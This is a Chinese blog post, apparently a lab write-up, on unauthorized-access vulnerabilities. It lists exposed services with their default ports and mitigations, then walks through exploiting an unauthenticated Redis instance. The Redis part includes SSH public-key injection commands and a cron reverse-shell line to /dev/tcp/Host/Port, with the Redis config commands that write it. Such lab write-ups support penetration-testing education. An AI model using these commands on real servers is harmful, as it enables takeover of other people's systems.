未授权访问漏洞通常指在系统、服务或应用程序中,由于配置不当或安全措施缺失,导致未经过身份验证或授权的用户能够访问敏感资源或执行关键操作

这可能包括访问数据库、文件系统、管理界面或其他关键组件,从而引发数据泄露、服务中断或系统被恶意利用的风险

常见未授权访问

以下是一些常见的未授权访问漏洞,这些漏洞可能由于配置错误、默认设置未更改或安全更新缺失而导致:

未授权访问服务

默认端口

描述

Redis

6379

是一个开源的内存数据结构存储系统,未授权访问可能导致数据泄露或代码执行。

weblogic

7001/7002

是一个用来构建网站的必要软件,具有解析、发布网页等功能,它是用纯java开发的。

Docker

2375(未加密)/2376(加密)

是一个开源的应用容器引擎,配置不当可能导致容器被未授权访问。

Mongodb

27017

是一个 NoSQL 数据库,未授权访问可能允许攻击者访问或修改数据库内容。

Jenkins

8080

是一个持续集成工具,未授权访问可能导致构建过程被干扰或敏感信息泄露。

Memcached

11211

是一个高性能的分布式内存缓存系统,未授权访问可能导致缓存数据泄露。

Jboss

8080(http服务页)/9990(管理页面)

是一个开源的应用服务器,未授权访问可能导致服务器被控制。

VNC

5900

是一个远程桌面协议,未授权访问可能导致攻击者远程控制目标系统。

ZooKeeper

2181

是一个分布式协调服务,未授权访问可能导致服务中断或数据不一致。

Rsync

873

是一个文件同步和传输工具,未授权访问可能导致数据泄露。

Atlass Crowd

8095(http)/ 8443(https)

是一个身份和访问管理应用程序,未授权访问可能导致账户信息泄露。

CouchDB

5984

是一个面向文档的 NoSQL 数据库,未授权访问可能导致数据泄露。

Elasticsearch

9200(http)/ 9300(节点间通信)

是一个基于 Lucene 的搜索引擎,未授权访问可能导致敏感数据被搜索和访问。

Hadoop

50070(HDFS NameNode)/ 8088(YARN ResourceManager)

是一个开源的分布式存储和计算框架,未授权访问可能导致数据泄露或计算资源被滥用。

Jupyter Notebook

8888

是一个交互式计算笔记本,未授权访问可能导致代码执行或数据泄露。

修补建议

为了防范未授权访问漏洞,建议采取以下措施:

  1. 定期更新和打补丁:确保所有系统和应用程序都安装了最新的安全补丁。

  2. 强化配置管理:审查和更新配置文件,确保只有授权用户才能访问敏感资源。

  3. 使用强密码和多因素认证:增加账户安全性,防止密码被破解。

  4. 限制网络暴露:确保敏感服务不在公网上暴露,使用防火墙和网络安全组来限制访问。

  5. 监控和日志记录:实施监控系统以检测异常行为,并保留日志以便于事后分析。

  6. 安全审计和测试:定期进行安全审计和渗透测试,以发现和修复潜在的安全漏洞。

通过这些措施,可以显著降低未授权访问的风险,保护组织的关键资产和数据安全。




Redis 未授权访问

Redis 简介

Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。

Redis 应用场景

  1. 存储缓存用的数据;

  2. 需要高速读/写的场合使用它快速读/写;

Redis 架构

  1. Redis服务器(redis-server):核心服务,负责数据存储、处理客户端请求和执行数据结构操作。

  2. Redis客户端(redis-cli):用于与服务器进行交互的命令行工具,可以执行各种Redis命令。

客户端、服务器可以位于同一台计算机或两台不同的计算机中。

漏洞详解

演示前首先鸣谢:蚁景网络安全实验室

本次演示环境:

蚁景网络安全实验室 - redis_unauth_vuln:redis未授权访问漏洞环境

蚁景网络安全实验室 - redis-master-slave-copy:redis主从复制漏洞环境

Redis 漏洞利用 Getshell 姿势

漏洞利用方法

利用条件

Webshell

  1. 目标有 http 服务。

  2. 知晓目标 http 服务处于服务器上的绝对位置

  3. 知晓 目标页面 的 解析语言

  4. 对 目标页面 所处文件夹有 可写 权限。

公私钥 Getshell

  1. 连接 Redis 为 Root 用户。

  2. 目标服务器有开启 SSH 服务。

定时任务 Getshell

  1. 知道连接 Redis 用户的用户名(最好是root,反弹的shell 就是 root 的 shell)。

主从复制

  1. 目标 Redis 服务器有主从 Redis 服务器关系。

Redis 未授权漏洞发现

Redis 服务默认端口:6379

但是本次靶场给定的目标端口并非6379。

端口探测

检测目标的端口上开启的是什么服务,是否存在 Redis 的未授权访问漏洞。

探测 Redis 服务端口是否开放

发现两个端口分别对应的服务为:

  • redis - 未授权访问

  • ssh

那么首先可以确定有一个思路是 :

可以尝试是否可以写入 ssh 公钥进入目标服务器当中(IP 不同,redis 未授权访问的主机)并非探测出开启 ssh 服务的主机,也不知该机器的 SSH 服务端口。

尝试未授权访问

漏洞利用

Webshell

漏洞分析

靶场给出的三个环境,一个是我们现在的未授权访问 redis, 一个是 ssh ,另一个是一个 http 服务网页页面。

尝试打开 http服务的页面。

发现网页是 Apache 的默认配置页面,静态 HTML 当然不存在注入点,尝试扩大威胁面。

上 Dirsearch 扫目录资产。

dirsearch 扫描完以后的资产:

推荐在 kali 中使用 apt 下来的 dirsearch,Windows 的就是依托

漏洞配置

前往 Redis-cli 客户端 尝试写入 Webshell 挂马。

漏洞利用

公私钥 Getshell

向目标服务器写入我们渗透主机 VPS 生成的公钥,渗透主机 VPS 进行 SSH 连接 靶机 的时候则会自动验证公私钥,无需输入密码。

实验靶机:

探测漏洞利用端口是否开放

探测是否开启了 ssh 服务

公私钥 Getshell 满足条件之一。

本地 VPS 生成公私钥
# 生成SSH公钥和私钥保存到 /root/.ssh/ 目录
ssh-keygen -q -t rsa -f /root/.ssh/id_rsa -N ''

漏洞配置

将公钥作为 键值对 写入靶机的 redis 数据中。 —— 通过管道符可以快速实现。

# 在 id_rsa.pub 公钥内容前后加入换行符,保存到 /tmp/qiaoshen.txt 文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/qiaoshen.txt

前后都写入 '\n' 是为了确保最后我们备份数据时我们的公钥在备份文件当中不会和别的备份数据混在一起,而是会单独存在于一行内,在后期我们进行 SSH 连接的时候,公私钥可以正确被验证。

也可以使用 Windows 的可视化 Redis-Cli 管理工具快捷写入 公钥 。(推荐)

漏洞利用

使用渗透主机 VPS 的 SSH 服务 选择验证公私钥方式 连接靶机,公私钥验证成功,无须密码 Getshell。

定时任务 Getshell

在 redis-cli 当中 配置定时任务反弹 Shell

# 设置定时任务反弹 Shell
\n\n*/1 * * * * /bin/bash &> /dev/tcp/Host/Port 0>&1\n\n

全流程:

set qiaoshen "\n\n*/1 * * * * /bin/bash &> dev/tcp/Host/Port 0>&1\n\n"

config set dir /var/spool/cron
config set dir /var/spool/cron/crontab

config set dbfilename root

save

主从复制

以后补档...

文章作者: QiaoShen
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
实景渗透基础 基础 姿势 渗透 OWASP-Top10 未授权访问 Redis
喜欢就支持一下吧